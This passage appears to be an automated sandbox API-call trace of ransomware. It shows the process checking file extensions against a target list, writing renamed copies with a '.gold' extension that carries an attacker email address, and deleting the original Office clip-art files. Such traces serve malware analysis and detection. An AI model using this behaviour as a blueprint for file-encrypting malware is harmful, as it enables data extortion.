lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0111.189] lstrlenW (lpString=".ppt") returned 4 [0111.189] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString=".zip") returned 4 [0111.189] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".rar") returned 4 [0111.189] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0111.189] lstrlenW (lpString=".bz2") returned 4 [0111.189] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0111.189] lstrlenW (lpString=".7z") returned 3 [0111.189] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.189] lstrlenW (lpString=".dbf") returned 4 [0111.189] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0111.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.190] lstrlenW (lpString=".1cd") returned 4 [0111.190] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0111.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0111.190] lstrlenW (lpString=".jpg") returned 4 [0111.190] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0111.190] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.190] lstrlenW (lpString="J0171685.WMF") returned 12 [0111.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.198] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14472) returned 1 [0111.198] CloseHandle (hObject=0x194) returned 1 [0111.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 0x20 [0111.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0111.214] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.214] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0111.252] GetLastError () returned 0x0 [0111.252] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3888, lpOverlapped=0x0) returned 1 [0111.279] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3890, lpOverlapped=0x0) returned 1 [0111.280] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.280] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.280] SetEndOfFile (hFile=0x3f8) returned 1 [0111.280] CloseHandle (hObject=0x3f8) returned 1 [0111.280] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.281] SetEndOfFile (hFile=0x194) returned 1 [0111.282] CloseHandle (hObject=0x194) returned 1 [0111.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 1 [0111.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.844] lstrlenW (lpString=".doc") returned 4 [0111.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.844] lstrlenW (lpString=".docx") returned 5 [0111.844] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0111.844] lstrlenW (lpString=".pdf") returned 4 [0111.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.844] lstrlenW (lpString=".xls") returned 4 [0111.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.844] lstrlenW (lpString=".xlsx") returned 5 [0111.844] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0111.844] lstrlenW (lpString=".ppt") returned 4 [0111.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.844] lstrlenW (lpString=".zip") returned 4 [0111.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.844] lstrlenW (lpString=".rar") returned 4 [0111.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.844] lstrlenW (lpString=".bz2") returned 4 [0111.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.844] lstrlenW (lpString=".7z") returned 3 [0111.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".dbf") returned 4 [0111.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".1cd") returned 4 [0111.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".jpg") returned 4 [0111.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".doc") returned 4 [0111.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString=".docx") returned 5 [0111.845] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0111.845] lstrlenW (lpString=".pdf") returned 4 [0111.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString=".xls") returned 4 [0111.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.845] lstrlenW (lpString=".xlsx") returned 5 [0111.845] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0111.845] lstrlenW (lpString=".ppt") returned 4 [0111.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".zip") returned 4 [0111.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.845] lstrlenW (lpString=".rar") returned 4 [0111.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString=".bz2") returned 4 [0111.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString=".7z") returned 3 [0111.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".dbf") returned 4 [0111.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".1cd") returned 4 [0111.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0111.845] lstrlenW (lpString=".jpg") returned 4 [0111.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.845] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.845] lstrlenW (lpString="J0174635.WMF") returned 12 [0111.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.857] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9736) returned 1 [0111.858] CloseHandle (hObject=0x394) returned 1 [0111.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 0x20 [0111.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.858] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.858] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0111.859] GetLastError () returned 0x0 [0111.859] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2608, lpOverlapped=0x0) returned 1 [0111.906] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2610, lpOverlapped=0x0) returned 1 [0111.907] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.907] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.907] SetEndOfFile (hFile=0x3ac) returned 1 [0111.907] CloseHandle (hObject=0x3ac) returned 1 [0111.907] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.907] SetEndOfFile (hFile=0x394) returned 1 [0111.909] CloseHandle (hObject=0x394) returned 1 [0111.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 1 [0111.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0111.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0111.999] lstrlenW (lpString=".doc") returned 4 [0111.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.999] lstrlenW (lpString=".docx") returned 5 [0111.999] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0111.999] lstrlenW (lpString=".pdf") returned 4 [0111.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.999] lstrlenW (lpString=".xls") returned 4 [0111.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.999] lstrlenW (lpString=".xlsx") returned 5 [0111.999] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0111.999] lstrlenW (lpString=".ppt") returned 4 [0111.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".zip") returned 4 [0112.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.000] lstrlenW (lpString=".rar") returned 4 [0112.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString=".bz2") returned 4 [0112.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString=".7z") returned 3 [0112.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".dbf") returned 4 [0112.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".1cd") returned 4 [0112.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".jpg") returned 4 [0112.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".doc") returned 4 [0112.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString=".docx") returned 5 [0112.000] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0112.000] lstrlenW (lpString=".pdf") returned 4 [0112.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString=".xls") returned 4 [0112.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.000] lstrlenW (lpString=".xlsx") returned 5 [0112.000] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0112.000] lstrlenW (lpString=".ppt") returned 4 [0112.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".zip") returned 4 [0112.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.000] lstrlenW (lpString=".rar") returned 4 [0112.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString=".bz2") returned 4 [0112.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString=".7z") returned 3 [0112.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".dbf") returned 4 [0112.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".1cd") returned 4 [0112.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0112.000] lstrlenW (lpString=".jpg") returned 4 [0112.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.000] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.000] lstrlenW (lpString="J0175361.JPG") returned 12 [0112.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.001] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=46461) returned 1 [0112.001] CloseHandle (hObject=0x3ac) returned 1 [0112.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 0x20 [0112.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.002] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.002] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0112.003] GetLastError () returned 0x0 [0112.003] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xb57d, lpOverlapped=0x0) returned 1 [0112.017] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xb580, lpOverlapped=0x0) returned 1 [0112.018] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.018] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.019] SetEndOfFile (hFile=0x3d4) returned 1 [0112.019] CloseHandle (hObject=0x3d4) returned 1 [0112.019] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.019] SetEndOfFile (hFile=0x3ac) returned 1 [0112.021] CloseHandle (hObject=0x3ac) returned 1 [0112.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 1 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString=".doc") returned 4 [0112.036] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.036] lstrlenW (lpString=".docx") returned 5 [0112.036] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0112.036] lstrlenW (lpString=".pdf") returned 4 [0112.036] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.036] lstrlenW (lpString=".xls") returned 4 [0112.036] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.036] lstrlenW (lpString=".xlsx") returned 5 [0112.036] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0112.036] lstrlenW (lpString=".ppt") returned 4 [0112.036] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString=".zip") returned 4 [0112.036] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.036] lstrlenW (lpString=".rar") returned 4 [0112.036] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.036] lstrlenW (lpString=".bz2") returned 4 [0112.036] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.036] lstrlenW (lpString=".7z") returned 3 [0112.036] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString=".dbf") returned 4 [0112.036] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString=".1cd") returned 4 [0112.036] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString=".jpg") returned 4 [0112.036] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.036] lstrlenW (lpString=".doc") returned 4 [0112.036] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.036] lstrlenW (lpString=".docx") returned 5 [0112.036] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0112.036] lstrlenW (lpString=".pdf") returned 4 [0112.037] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.037] lstrlenW (lpString=".xls") returned 4 [0112.037] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.037] lstrlenW (lpString=".xlsx") returned 5 [0112.037] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0112.037] lstrlenW (lpString=".ppt") returned 4 [0112.037] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.037] lstrlenW (lpString=".zip") returned 4 [0112.037] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.037] lstrlenW (lpString=".rar") returned 4 [0112.037] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.037] lstrlenW (lpString=".bz2") returned 4 [0112.037] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.037] lstrlenW (lpString=".7z") returned 3 [0112.037] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.037] lstrlenW 